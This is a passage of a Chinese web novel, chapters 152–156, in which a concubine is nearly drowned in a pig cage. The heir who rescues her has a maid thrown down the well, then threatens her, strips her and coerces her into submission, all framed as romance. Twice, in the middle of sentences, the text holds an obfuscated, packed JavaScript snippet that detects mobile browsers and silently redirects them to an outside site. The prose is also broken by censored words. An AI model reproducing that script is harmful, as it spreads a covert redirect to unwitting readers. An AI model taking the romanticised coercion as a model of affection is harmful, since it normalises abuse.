忽然,她瞳孔放大,一个可怕的念头在她脑海中浮现:“不好!”便拉着玉竹往佛堂后面跑去。 心里也盼着元青能快些将大公子请回来,再晚一步,姨娘可就没命了。 第一百五十二章 他都舍不得罚 玉竹见红玉满脸惊慌,全然没了往日的稳重。 她心里更是慌得厉害,知道姨娘这次恐怕要遭了大罪了,脚下的步子也不由得加快了几分。 薛氏将人带到佛堂后院后,丫鬟替她搬来凳子,又放上了软垫。 她这才坐了上去,丫头又为她奉上了热茶。 薛氏端着茶盏,眼神冷漠地看着沈清念。 沈清念被丫头放开了手臂,一下子就瘫坐在地上。 她抬头,看到薛氏就那样高高在上地看着她,眼里透过一丝阴狠。 薛氏给了一个眼神过来,沈清念转过头去,才发现她身边立着的丫头,手里提着一个半人高的大竹笼,竹条粗糙,上面还沾着泥土和青苔。 这时,薛氏放下了茶盏,慢里斯条地用帕子擦了擦嘴,对着沈清念道:“你可知那是什么?” 沈清念有些虚弱道:“猪笼。” “可它不该用在我身上。” 薛氏笑道:“看来你还是不知错啊。” “等会儿尝了浸猪笼的滋味,看你还怎么嘴硬!” 她一招手,两个丫鬟便上前,一人架着沈清念的胳膊,一人托着她的腿,强行将她往竹笼里塞。 她的肩膀被竹条硌得生疼,她挣扎了几下,想要摆脱束缚。 可她的挣扎在这两个敦实的丫鬟面前,半分作用也没用。 最后,沈清念连抬脚的力气都没有,只能任由丫鬟将她塞了进去。 很快丫鬟们又拿来一根碗口粗的麻绳,在竹笼外面紧紧捆了几圈,只留下一个能让她呼吸的缝隙。 两个丫头抬将竹笼抬起来,晃晃悠悠地走到井边。 沈清念透过竹条的缝隙,看到井下黑漆漆地,像一张择人而噬的巨口。不由得心生惧意。 她用手拍了拍竹笼:“放我出去!我……” 还没等她将话说完,竹笼便被人猛地往下一推,“扑通”一声掉进了井里。 紧接着,冰冷的井水瞬间漫了上来,堵住了她所有的呼救声。 沈清念拼命地挣扎,手脚在竹笼里胡乱挥舞,却怎么也打不开那粗壮的竹条。 她只觉得自己呼吸越来越困难,眼前的一切也渐渐变得模糊。 这一刻,沈清念不禁自问,她就要**吗? 她的脑中闪过母亲的脸,她**,母亲会不会梦到自己? 就在她以为自己快要窒息而亡时,竹笼忽然被人往上拉。 她猛地吸了一口新鲜空气,随即剧烈地咳嗽起来。 她睁开眼,模糊中看到井口边上丫头那张毫无表情的脸。 “大夫人问姨娘知错了没?若是知错,就点头认错,免得再受折磨。” 沈清念的头脑昏昏沉沉的,只看得见那丫头的嘴一张一合,却听不清她在说些什么。 她只觉得浑身发冷,连动一下手指的力气都没有。 那丫头见她没有什么反应,看着薛氏摇了摇头。 薛氏冷哼一声:“她倒是有几分骨气!给我再放下去!” 她倒要看看她能撑到几时! 不等沈清念缓过神来,竹笼又被人猛地往下一推,再次坠入冰冷的井水中。 这一次,窒息的痛苦更强烈。 沈清念感觉自己又要死掉了,她想挣扎,却发觉身上没有一丝力气,就在这时竹笼又被拉了上来。 薛氏也来到了井口边,看着沈清念身上的衣裳早已湿透,紧紧地贴在身上。 脸也被呛得通红,又咳嗽不止,看起来狼狈不堪。 “说话!” 沈清念终于听清了。 她们让她说话,说什么话? 她的脑子还是昏昏沉沉的,眼前也是一会儿发黑,一会儿又看见薛氏和丫头冷漠的脸。 薛氏嫌弃看了沈清念一眼,又走回椅子上坐着,示意丫头继续。 这时玉竹和红玉此时也跑了进来,看到一群人都望着井口的方向,红玉的心一下就揪了起来。 果然和她想的一样,大夫人是想将姨娘沉到井里。 她再顾不得许多,拉着玉竹直接跑到井口边。 红玉伸手托住那竹笼,见沈清念蜷缩在竹笼里,牙齿不受控制地打颤,连眼神都变得有些涣散。 她的眼眶一下就红了。 “姨娘!” 玉竹见状,也红了眼。 她伸手去解绳子,想将沈清念放出来,却被人从后面薅住了头发,拖着往后面退。 一旁的红玉也被人拉着往后,红玉挣扎起来:“放开我!” 眼看着那丫头又要将沈清念投井,红玉大声喊道:“大夫人,大公子就要来了,您就放了姨娘吧。” 薛氏一听,气得走上前给了红玉两个耳光:“贱婢!敢去通风报信!” 她方才倒是忘了这两个丫头了,竟让她们偷偷去报了信。 可是宴哥儿一早就去了宫里,这会子也回不来。于是薛氏故作镇定道: “大公子来了又如何?照样护 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谢宴之的眉头皱起,他都舍不得罚,她们竟然将沈清念弄成这副样子。 他又抱着沈清念走了过去,一脚踢翻了薛氏坐的椅子。 薛氏看着谢宴之的冷脸,有些气恼道:“难道宴哥儿要为了这么个**与我,与你的祖母置气?” 他当着这么多丫鬟的面就踢翻了她的椅子,着实是在打她的脸。 丫鬟们都被谢宴之的举动吓得低下了头。 抓着红玉和玉竹的丫头,也放开了她二人。 红玉快步来到谢宴之身边,看着沈清念道:“大公子,我先将姨娘送回去换身衣裳吧。” 谢宴之看着眼前湿哒哒的人儿,脸色那样苍白,怕她受了寒,便点了点头,要将沈清念递过去。 沈清念却抓紧了谢宴之的衣襟,不愿松手,眉也皱了起来。 谢宴之见状,碰了碰她的额头道:“乖一些,先回去换身衣裳。” 薛氏见谢宴之哄着沈清念的样子是那样的温柔,她简直是不敢相信自己的眼睛。 也不知沈清念到底是用了什么勾人的手段,让一个冷漠如月的人变得这般温柔缱眷。 红玉最终将沈清念接了过来,玉竹也跟在一旁,快步往玉恒居去了。 第一百五十三章 与自己的姨娘偷情 红玉和玉竹架着沈清念艰难地走着,元青见状,想上前帮忙,却又不敢。 以爷对清姑娘的喜爱,他要敢碰清姑娘一根手指头,爷就敢废了他。 他无奈摇摇头,对着红玉道:“你们先扶清姨娘回玉恒居去,我去请大夫。” 红玉点点头:“有劳元青大哥了。” 红玉和玉竹好不容易将沈清念扶进了玉恒居的卧房,又轻手轻脚将她放在床上。 红玉看着沈清念苍白的脸和乌青的嘴唇,来不歇息,就对玉竹道:“快去熬碗姜汤来。” “我来给姨娘换身衣裳。” 红玉一边说着,一边伸手探了探沈清念的额头,那冰凉的触感让她指尖一颤。 玉竹点点头,立刻朝伙房跑去。 红玉则去柜子里拿了身干净的里衣给沈清念换上,又用巾子擦着她的头发。 见她眉头紧皱,身子微微发抖,红玉不知不觉就红了眼眶。 今日姨娘这一遭真是让她心有余悸。 那日她也在场,姨娘确实是去与那公子说清楚的。 二人也并未有逾矩之处,就险些被大夫人溺死在井中。 她不禁感叹,在这深宅大院里,姨娘也算半个主子了,连她都被人折磨成这样。 她们这些丫鬟婆子的,又算个什么呢。 她心里又庆幸,大公子及时赶了回来。 她果然没猜错,即使清姨娘和大公子闹了别扭,大公子的心里还是紧着姨娘的。 不然不会穿着朝服就急匆匆赶来了。 红玉起身,又去架子上拿另外一块巾子。 看着眼前的架子,她百感交集,这架子通体都是姨娘喜欢的梨花木。 她又扫视了一眼整个屋子,窗边的书案上,那只青色的汝窑里,正插着大公子让人日日采摘的海棠枝。 一旁的**架上摆着的那几件古董,听说是大公子按着姨娘的喜欢的样式,亲自从库房里挑的。 就连帐子上绣的缠枝莲纹,也是大公子特意让人按姨娘的喜好绣的。 红玉心里忽然生出几分羡慕,能陪在那样清贵又护短的人身边,应当是很幸福的吧? 虽然那日那位公子也温文尔雅,可比起大公子,还是少了几分担当。 至少大公子喜爱姨娘,便敢将姨娘强留在身边,见姨娘受了委屈,也会护着她。 而那位公子,当日只是在一旁看着,连上前替姨娘说句话的勇气都没有。 姨娘就因着这人被大夫人责罚,真是不值当。 她看着床上的沈清念,叹了口气,继续用巾子替她擦着头发。 而佛堂后院里,红玉她们将沈清念带走后,薛氏看着谢宴之,有些气恼道:“沈氏背着你私会外男,这般不知廉耻,难道不该罚?” 谢宴之看着薛氏,眼里带着些讽刺:“她是我的人,罚不罚是我说了算,还不劳母亲费心!” 薛氏见谢宴之维护沈清念至此,厉声道:“你堂堂世子,竟然连这偷情之事都能容忍,当真是让我对你刮目相看!” 谢宴之挑眉:“偷情之事?” “那日抱她的人是我,亲她的人也是我,母亲是说儿子在与自己的姨娘偷情?” 薛氏闻言,觉着不可置信,不觉地往后退了一步。 谢宴之竟然堂而皇之地将这些令人羞耻的事放到台面上来说! 她第一次觉得只要事关沈清念,谢宴之就不再是她熟知的那个谢宴之。 她气得用手指着谢宴之道: “我和你祖母只是好心想帮你提点提点沈氏,好叫她乖顺些,以后好好伺候你。” “你倒好,为了护着她,连这样羞耻的话都说了出来,这般不识好人心!” 谢宴之看向薛氏,眼里是一丝冷意:“帮我提点?” “那我也替母亲提点提点。” 薛氏看着谢宴之,不知他要做什么。 这时,谢宴之拍了拍手,便从外面进来两个侍卫,他手对着一旁的丫头指了指,面无表情道:“将她扔到井里去。” 方才就是这个丫头将沈清念沉到井中的,他是不会轻易绕过她的。 那两个侍卫得了吩咐,立即走向那丫头。 那丫头刚刚挨了谢宴之一脚,胸口还在隐隐作痛,这下又听到大公子让人将她扔到井中去,顿时就吓得花容失色,立刻跪在地上磕头:“大公子饶命!” 早知道她就不听大夫人的,将那位姨娘推到井里去了。 见谢宴之一脸冷漠,她又挪过去拉扯薛氏的裤脚,哀求道:“大夫人,救救奴婢呀!” 薛氏见那丫头扯着她的裤脚,有些嫌恶。 但她又看了眼在场的丫头们,她们都悄悄看着她。 她心知若她今日不替这丫头求情,恐怕日后没人会再敬着她了。 她迅速调整了情绪,放软了声音道:“宴哥儿,这只是个小丫头,打她几板子就是了,何必……” “投进去!”谢宴之打断了她的话,直接对着侍卫吩咐道。 侍卫听到主子的吩咐,抬起那丫头就往井边靠近,在那丫头的惊呼声中,将她丢了进去。 随后,那井中传来了断断续续的挣扎声和求救声。 薛氏此时也怔住了。 她心中虽然讨厌沈清念,却也没想弄出人命来。 可谢宴之却如此心狠手辣,见那条人命在井中苦苦挣扎,也无动于衷。 她也是头一次,见识了谢宴之的狠辣。 直到井中慢慢没了声响,谢宴之才示意侍卫将人捞了起来,拖到薛氏脚边。 薛氏见那丫头惨白的脸,心里有些气愤,又有些后怕。 谢宴之当着众人的面就罚她的丫头,偏她堂堂侯府夫人,她名义上的母亲,竟然连个丫头都护不住。 谢宴之那是在罚那个丫头,分明是在打她的脸!叫她再也不敢插手他的事,动他的人。 如今,恐怕不止整个大房,连老夫人院子里的人都知道沈清念在谢宴之心中的地位了。 谢宴之刚看她的眼神,也透着几分警告,叫她敢怒不敢言。 薛氏不甘心地捏紧了帕子,还是试着问了一句:“你就那样喜欢那个沈清念?” 谢宴之闻言,眉头微蹙,似乎在认真想这个问题。 他很喜欢沈清念吗? 她的容貌清冷惊绝,身段也出挑,他是喜欢的。 她性子太犟,老喜欢与他作对,这一点他不喜欢。 但她是第一个,也是唯一一个见识过他因情动而呈现丑态的人。 光凭这一点,他便不能放她走了。 再有,她身上的香气,总让他有一种熟悉的感觉。 细细想起来,那香气与他幼时在母亲身上闻到的一模一样,让他觉着莫名的熟悉与心安。 他说不清自己有多在意她,只知道,她只能属于他,任何人都不能伤害她,从他身边带走她! “喜不喜欢,母亲还看不出来吗?”说着,谢宴之再一次冷眼看着薛氏。 “好!好得很!”薛氏咬牙切齿道。 “算是我自作多情,多管闲事!” “母亲知道就好。”谢宴之语气平淡,仿佛没有看到薛氏那气恼的模样。 说完,他又转身看了一眼孙麽麽,眼神里的意味再明显不过。 再有下次,沉井的人可能就是她了。 孙嬷嬷被他看得浑身一僵,头埋得更低了,谢宴之没再说话,转身径直朝外面走去。 谢宴之走后,薛氏看着在场的丫头们恭敬地低着头,大气儿都不敢出一下的样子,心里愤恨不已。 她总觉得她们虽然面上恭敬,实则在心里已经不把她当成主子了。 想到这儿,薛氏再也忍不住,对着身边的梨花木椅子狠狠踢了两脚,发泄心中的憋屈与怒气。 而此刻,玉恒居卧房里,沈清念觉得自己被冰冷的水淹没着。 她本能地想要伸手求救,却发现怎么也推不开那粗壮的竹条。 只能任由井水带着自己往下沉,任由井水不断灌进自己的口鼻之中。 直到她的眼皮要闭上时,又被人拉到了水面上。 她大口呼吸着,大夫人猛地出现在眼前,脸上带着狰狞的笑:“你做下如此守妇道之事,只能**。” 说着伸手按住她的头,往水下沉去。 她只看到薛氏狰狞的脸在她眼前晃动,每当她想往上浮的时候,薛氏就会伸出手,狠狠将她往下压。 她想出口反驳,却被井水呛得说不出一个字来,只能在水里着急的挣扎起来。 这时,又有人将她拉了上去,她睁开眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501080|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,是老夫人正慈眉善目地看着她,脸上带着笑道:“你既入了侯府,就是死,也得死在侯府里。” 说着,又将她推进了水里。 沈清念浑身颤栗,眼角滑下两行清泪,不自觉地紧紧揪住手中的衣袖。 谢宴之见她不安地皱着眉,眼角还挂着泪痕,整个人在被子里微微颤抖。 他心里瞬间涌上一股心疼。 他伸出手,用指腹轻轻擦去她脸上的泪,又低头凑到她耳边道: “别怕。” 他的声音放软,带着从未有过的温柔。 “我在这里,没人再能伤害你了。”他就这样坐在榻边,握着她的手,目光紧紧锁在她的脸上。 他今日回来得再晚些,她是不是就没命了? 他原本只是想冷着她两天,让她好好反省一下。 那薛氏竟然敢将她抓去浸猪笼! 想到这儿,谢宴之的眼里有些晦暗不明。他伸出手,小心翼翼地替她掖了掖被角。 红玉在一旁看着谢宴之对沈清念如此细致温柔,更是觉着她们姨娘是有福气的。 脸上不自觉露出了欣慰的笑容。 此时,玉竹端着姜汤过来了,见谢宴之坐在床边,她不知该不该靠近,有些为难地站在一旁。 谢宴之见她那副为难的模样,主动坐到了一边,又伸手将沈清念抱在了怀里。 玉竹舀了一勺姜汤,小心地喂到沈清念的嘴边。 可沈清念尝到姜汤的辛辣味,摇了摇头,避开了伸过来的勺子。 谢宴之瞧着,有些心烦有些气恼:“下去!” 玉竹见状,忙将碗放在旁边,和红玉一起退了下去。 谢宴之又拿起勺子将汤喂到沈清念的嘴边,沈清念仍是不愿喝。 谢宴之皱了皱眉,在她耳边道:“你再不乖乖喝下去的话,我可要喂你了。” 沈清念脑子还是昏昏沉沉,根本知道他在说什么,只觉得耳边有个声音响起,让她心中莫名不安。 她想睁开眼看看到底是谁在说话,却又怎么也睁不开。 谢宴之见她那样,只一口含了汤,渡到了她的嘴里,又伸手将她的下巴抬起来,迫使她将姜汤喝了下去。 他又用帕子给她擦了擦嘴角,轻轻将人放到了床上。 这时,红玉进来道:“大公子,大夫来了。” 谢宴之看了眼床上的人,起身道:“让大夫进来吧。” “是。”红玉转身出去,将大夫引了进来。 大夫进到屋子,对着谢宴之拱手行了一礼,再将丝帕搭在沈清念手上,认真的诊了脉。 而后,又收回了手。 “她如何了?”谢宴之见大夫已经号了脉,上前问道。 “这位娘子受了风寒,又惊吓过度,这才导致昏迷不醒。” “待老夫开些驱寒的药,再开一副滋补的方子,加以调理,身子很快会恢复的。” 听大夫这样说,谢宴之的眉头才舒展了一些。 红玉在一旁听着,悬着的心才放下了,见大夫起身,她跟着将大夫送出了门。 直到天黑以后,沈清念才悠悠转醒。 她盯着床顶的幔子看了看,一时没弄清楚自己在哪里。 红玉在一旁做着针线,见沈清念醒了,脸上露出了笑,忙放下手中的针线道:“姨娘!您终于醒了。” 沈清念听到声音,转头看向红玉:“我这是在哪里?” 红玉看沈清念依旧苍白的脸,脸上的神情又有些恍惚,她红着眼眶道:“这是玉恒居,您自己的屋子里。” 沈清念有些疑惑,她不是被大夫人沉到井里了吗? 怎么回来了? 红玉见沈清念似有疑惑的样子,轻声道:“是大公子及时赶回来,将您从竹笼里放了出来。” 沈清念听着红玉的话,眼底闪过一丝道不明的情绪。 谢宴之不是还生着她的气吗?又怎么会回来救她。 耳边又听得红玉道:“大公子当时见您那模样,气得踢翻了大夫人的椅子。” “奴婢瞧着大公子心里可是十分看重姨娘呢。” 红玉见沈清念不说话,想了想,又试着问道:“姨娘心里还生大公子的气吗?” 此时,屋外的谢宴之负手而立,迟迟没有推开眼前的门。 第一百五十四章 我讨厌你 还生气么? 沈清念想了想,摇了摇头。生不生气,有什么用? 若不是他谢宴之硬要留下她,她又怎么会落到这个境地。 红玉见沈清念没有回答,便知她心里还是怪大公子的。 想着大公子维护姨娘的那份霸气,她微微叹了口气,起身道:“姨娘饿了吗?我给姨娘端些吃食来。” 沈清念拉着红玉的手,摇了摇头:“我不饿,你留在这里陪我一会儿。” 红玉还从没见过沈清念这样脆弱的一面。 经历了这一遭,谁不会害怕 她又坐在了凳子上。 谢宴之在门外再没有听见声音,身后的元青也捏了捏拳。 清姑娘可千万别再说错话,惹大公子不高兴了。 谢宴之今日放下手上的事就赶了回来,救回沈清念后,又马不停蹄地去处理手上那些事。 山匪案有了新的进展,圣上让他全权处理。 谢敏与陆元璋的婚期也越来越近,留给他的时间也不多了。为二叔找的神医,也还没什么眉目。 他心里有些烦躁。 想着来看看沈清念醒了没,想在她这里寻一丝慰藉。 可现在呢,人家就算知道是他救了她,心里也触动。 还因为那个萧怀意记恨他。 他推开了门,见沈清念靠在床头的软枕上,红玉在一旁做着针线。 两人脸上都带着些笑。一看见他进来,那微微的笑意一下就不见了。 沈清念眼里更是有些,她不想看见他。 谢宴之的眼神里晦暗不明。 红玉连忙站起来,小心地恭敬行礼:“大公子。” 见沈清念不动也不说话,用眼神暗示了一下沈清念。 谢宴之将红玉的小动作看在眼里,负着手,等着沈清念的反应。 沈清念抽回了自己的袖子,将头侧向了里边。 红玉见状,心里忐忑不安。 为了避免尴尬,元青朝着红玉招手,示意她和他一起出去。 清姑娘此举,无疑是下了爷的面子,他们做下人的,还是回避着些好。 红玉忙走了过去:“姨娘,我去伙房拿些吃食来。” 说着,便与元青一起出了屋子。 最后不放心地看了一眼屋子里面,才缓缓关上了门。 转身对元青道:“元青大哥,姨娘这般,大公子会不会对姨娘……” 她有些怕姨娘的无礼惹恼了大公子。 元青摇了摇头:“不知道。” 他也不知道,爷有时候会耐着性子哄着清姑娘,有时候又会强势霸道地罚清姑娘。 他也回头看了一眼那屋子,只盼着清姑娘这次能平安度过吧。 “我们做下人的当好差就行了,主子的事,我们管不着。” 红玉点点头,朝伙房去,元青则守在屋子外面,看着夜色中的残月,心道不知菱儿的伤势如何了。 谢宴之看沈清念侧着头不看他,也不打算理他。 他姑且体谅她是今日受了不小的惊吓,心里难免有些情绪。 他缓缓坐在床边,伸手扶住她的肩。 却见沈清念皱着眉避开了他的手:“你别碰我!” 谢宴之见沈清念躲开,不由的神色一暗。 他今日奔波了这么久,全是为了她。 她一句感谢的话没有,还在他的面前耍小性子。 谢宴之强势地将捏住她的下巴,语气强势:“过来!” 沈清念伸出手打在他的手上,却被他捏得更疼,眼眶里不由地滑下一滴泪来。 都是因为他,她才受到这些责罚,差点被人溺死。 凭什么他却是一副救了她,她就欠了他多大恩情的样子。 这样霸道不讲理的人,她现在是根本不想理会。 谢宴之看着她眼角的泪,透着委屈,手上的力到底是轻了两分。 “看来,本世子是救了一只白眼狼?” 沈清念还是想扭过头:“还不都是因为你,她们才罚我的!” “你难道还指着我多谢你将我害成这副模样!”说着,便哽咽起来。 谢宴之闻言,不但没松手,反而加重了几分力,声音里带了些冷意: “若你不去见别的男人,她们又怎么会有这种由头来罚你!” “看来我的清姨娘还是不知自己错在哪里。” 说完,又一把甩开她的下巴,任由她捂着被子哭起来, 谢宴之冷眼看着她,她断断续续的哭声哭得他有些心烦。 还从没谁在他 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想到这儿,谢宴之又拽着沈清念的衣襟,脸凑到她的耳边,冷声道:“听说你今日求了老夫人放你出府。” 沈清念听了,长睫颤了颤。 话她已经说了,谢宴之也知道了她心里真正想的是什么,她又反而没那么害怕了。 “是,因为我讨厌做你的姨娘,讨厌你总是用各种手段逼迫我!” “我真的很讨厌你!” 说着,又委屈得留下了眼泪,捂着被子哭起来。 她现在才不管他生不生气,大不了惹他生气,他将她们主仆赶出府去,正好随了她的意。 谢宴之的脸这下真的是寒如冰霜,他的耐心也在此刻耗尽。 讨厌他? 看来他这一直以来对她的偏爱,她是一点儿没感觉到。 虽说是他强迫了她,那也是为了将她留在身边,想和她在一起。 没想到她心里对他半分情意不曾有过,还对他颇为怨恨。 谢宴之一把揪着沈清念的发,让她抬起头来,目光阴沉地看着她道:“你知道你在说什么吗?” 第一百五十五章 她近乎哀求 沈清念的头皮被他扯得生疼,看着他阴鸷的目光,心里也有些害怕。 却只是用手覆在谢宴之手上,企图掰开他的手。 她原本还想说上几句,此刻也硬生生憋了回去。 因为头皮传来的疼痛,让她不敢再说出什么让谢宴之发疯的话来。 又怕扯着头皮,沈清念不敢再动分毫,只是用秋水般的眸子,不安地看着谢宴之。 刚才那股要与谢宴之破釜沉舟,鱼死网破的气势也已然不在。 沈清念的变化,仍然不能让谢宴之松开她的发丝。 他看着眼前这好歹不分的人,用那样的无辜和害怕的眼神看他,心下更是烦躁。 他对她这般好,她还想着走,若是这样的话,那她就是在逼他换个凌厉的手段来留住她。 想到这儿,谢宴之松开了沈清念的头发,转身走开了。 沈清念见谢宴之放开了自己的头发,又看他走到小几旁,坐在对面的椅子上,眼里没了刚才的狠厉。 只是以手撑头,似在想着什么。 接着听见谢宴之悠悠开口道:“你若真想走,也行。” 听到这话,沈清念心里没有半分欣喜,反而寒毛竖立。 每回谢宴之发好心,说出如她意的话来,结果都不会是她想要的。 只是这一次,她不知他又给给她设了什么圈套在等她钻进去。 她还是用手擦了擦泪,配合他道:“世子真愿意放我走?” 谢宴之轻笑一声:“当然。” “我又不是非你不可。” 谢宴之话锋一转:“只不过,你得先让我睡个几年,哪日我腻了,自会放了你。” 睡个几年? 沈清念听着话,心里也不意外,谢宴之果然还是一如既往的无耻。 她又扭过头去,不看谢宴之,显然是被他的话气到了。 “你若嫌慢的话,也有更快的法子。”谢宴之看她气得脸颊发红,心情好了一些。 沈清念又转过头来看着他,小声道:“什么法子?” 眼里也似有期待地看着他,等他说出下一句话来。 谢宴之目光如隼,一字一顿:“不如你替我生两个子嗣,你走了,也有人陪着我。” 他又直起了身,冷笑道:“生男生女都行。” “这法子没那么为难吧?” 沈清念那日还让丫头偷偷摸摸去医馆抓避子药,不就是不想生下他的子嗣吗? 他偏不让她如愿。 沈清念的手握紧了被角,不敢相信谢宴之的话。 生下了孩儿,她还怎么走得了?那时,她便必须留在这靖南侯府了。 不然主母进门,她的孩子们可就危险了。 沈清念还没来得及想太多,谢宴之的声音又传来。 “我高兴的时候就给他们几口饭吃,不高兴就将他们鞭打一顿,好让他们替你这母亲赎罪。” 胆敢舍弃他离开,不就是有罪吗?罪人的孩子也是罪人。 “你!”沈清念气得说不出话,只是看着谢宴之,将他丑恶的嘴脸印在心里。 谢宴之又平静道:“要是这两个法子都不行的话,你就只好留下了。” “不过,你既不喜欢做我的姨娘,那你也不用住在这间屋子,穿这身衣裳。” 说着,他便走向她,伸手去剥她身上的衣裳。 沈清念吓得惊叫起来,身子拼命往床角缩去,却又被谢宴之无情地抓住脚踝,拖了回去。 谢宴之不顾她的恐惧与挣扎,一下将人脱个精光。 沈清念缩在床上,伸手用被子遮住自己,尽量不让自己看起来那么羞耻。 谢宴之看着满地的衣裳,又看着沈清念瑟瑟发抖,心里痛快了一些。 他又伸手去扯那被子:“这被子也是我给我的姨娘准备的,上好的桑蚕丝,你也不要用了。” 在沈清念的惊叫声中,被子也抽离了她的身子。 她只能死死地抱住自己,**的眼泪滚滚落下。 “现在你可以出去了,去院中站上一宿。” 沈清念转过头,眼里含泪,不可思议的看着谢宴之。 她这副样子怎么出去见人?他还不如杀了她。 “怎么,不想走?”谢宴之挑眉看着她,那眼神好像在嫌弃一条臭虫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508586|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,门外传来了元青的声音:“爷,吃食来了,要现在送进来吗?” 谢宴之看了眼沈清念,又朝着门口,准备发话。 沈清念眼里满是惊恐,她现在一丝不挂,让元青看见了,她几乎不可能再活了。 而能阻止这一切的,只有谢宴之。 顾不得多想,她一下便从床上下来,抱住谢宴之:“世子,不要……” 谢宴之任由她抱着,仍是要朝着外面喊话。 沈清念一下搂住谢宴之的脖子,对着那薄唇吻了上去,堵住了他即将说出来的那个进字。 对于亲吻这种事,从来都是谢宴之起头的,以往她都是被动承受。 所以沈清念难以把握,对她而言,这事实在是有些难做。 谢宴之看她闭着眼,那长睫在轻轻颤抖,柔软的唇瓣像蜻蜓点水般点过,动作十分轻柔与生涩。 或许她还是觉着委屈,他看见一滴泪珠从她的眼角缓缓滑了下来。 谢宴之就这样静静站着,任由她动作,由她做着他从前一直盼着她主动做的事。 沈清念没有得到谢宴之的任何回应,她轻轻张开了眼,用水蒙蒙的眼看着他,近乎哀求道:“不要让人进来,好不好?” 谢宴之往后退了一步,将她浑身扫视了一眼。 “你怕人看见?可你又不是我的姨娘,我为何要护着你?” 说着,又坐回了椅子上,沉着脸看着她。 沈清念被他看得浑身不自在,她现在这副样子实在是太不堪了。 谢宴之的意思她也懂,无非是想让她承认是自愿当他的姨娘。 看着谢宴之平静的脸和平静的眸子,沈清念的心底很是不安。 谢宴之这样,代表着他越生气。后果也就越严重。 她今日将谢宴之气得不轻,此时再不哄好他,她无法想像他还会对她做出什么事来。 想到这儿,沈清念不由地捏紧了手,忍着**,一步一步走到谢宴之面前,蹲在他脚边。 又伸出手来抓住他的袖子:“我是你的姨娘啊。” “你是吗?”谢宴之居高临下地看着她。 第一百五十六章 只想宿在玉恒居 “是。” 沈清念的声音轻得像柳絮,心虚地想低下头,又想着谢宴之可能会不高兴,又将头抬高了一些,有些怯懦地看向他。 “那你是真心想做我的姨娘吗?”谢宴之摩挲着腰间玉佩,语气里带着几分探究。 沈清念顿了顿,咬着唇,慢吞吞吐出几个字。 “是…是真心的。” 谢宴之听了这话,心知她是被他逼的,她说的并不是真心话。 可看着那双杏眼里朦胧的水气,那因着寒冷而颤抖的双肩,他还是决定饶过她这一回。 罢了,至少她懂得来讨好他了,这就够了。 谢宴之俯身一把将沈清念抱了起来,放到了床上。 又弯腰捡起方才被他扔在地上的被子,严严实实盖在了她身上,确保没有漏出一丝春光,才转身缓缓朝门口走去。 直到听见他的脚步声离床榻远了些,沈清念悬着的心,才放了下来。 往后,她都不敢惹谢宴之生气了,他是真的说得出,做得到。 想到刚才的那一幕,沈清念又往被子里缩了缩,浑身止不住的打颤。 谢宴之走过去,打开了房门,将元青手里的食盒接了过来。 “先下去吧。” 元青看了一眼谢宴之后,便低着头,一刻也不敢往屋里看去。 爷只需唤一声,便可让他将食盒拿进去,现在却亲自过来接盒子。 这其中的缘由无非就是不想让人打扰他与清姨娘。 此时听到谢宴之的话,顺从地应了声,转身快步离开。 谢宴之提着食盒回屋时,见沈清念还窝在被子里,只露出一双水蒙蒙的眸子,带着些怯意望着他。 他将食盒放在桌边的梨花木桌上,大步走到床榻边,声音放得柔和了些:“起来用饭。” 沈清念看了一眼床尾的衣裳,又撇了一眼谢宴之,低下了头。 谢宴之心中会意,他看着她死死揪住被子的羞窘模样,并不在意。 只转身走到床角,拿起一件月白色的小衣,又伸手去扯她身上的被子。 沈清念立刻紧张起来,声音里带着几分祈求:“世子,我自己来吧。” 说着,她从被子里伸出一只胳膊,想拿过那件小衣。 谢宴之却趁机握住她的手腕,将人轻轻拉到了自己身边,语气里带着不容拒绝的强势:“你身上哪一处我没有见过?” 说着,将小衣贴在沈清念的胸前,又弯下腰,将沈清念背后的长发挑起,打算系上那两细细的根儿带子。 却看到她光洁白皙的背上有一道乌青的淤痕,一看就是被人用硬物打的。 谢宴之眼神晦暗,轻轻替她系上了带子后,又给她穿上了衣裳:“背上的伤是谁打的?” 声音里带着不易察觉的冷意 沈清念听了,抬头看向他:“我也不知是谁。”当时在场的丫头多,又是从背后打的她,她根本就不知道是谁。 谢宴之将她抱起来,放到桌边的凳子上去:“无妨,我自会弄清楚。” 他倒要看看,是谁敢在他的人身上动手,这侯府里,还没人能在他眼皮子底下欺负他的姨娘。沈清念刚坐好,就见谢宴之打开食盒,将里面的饭菜一碟碟端出来。 那些饭菜都用精致的白瓷盘装着,不似平常。 沈清念知道,应当是因为谢宴之要在这玉恒居里用饭,才会弄得这样精致。 谢宴之他盛了一碗当归甲鱼汤,轻轻推到她面前:“多喝一些,补补身子。” 沈清念拿起勺子,舀了一勺汤喂到嘴里,味道鲜美,且温热的汤一下肚,身子也暖和了许多。 她用余光悄悄看了一眼谢宴之,见他正望着自己,眼里竟带着几分温柔。 仿佛刚才那个威胁她,羞辱她,要将她赶出去的人不是他一般。 她又连忙低下头,小口小口地喝着汤。 谢宴之的态度变得太快,快得让她有些难以适应。 不过今日这遭,她彻底清楚,想要在这侯府里求生,就得得到谢宴之的庇护。 所以谢宴之只能捧着,顺着,至于离开的事,她只能从长计议。 见她只喝汤,没怎么动筷子,谢宴之夹了一块陈皮鸭,递到她嘴边:“ 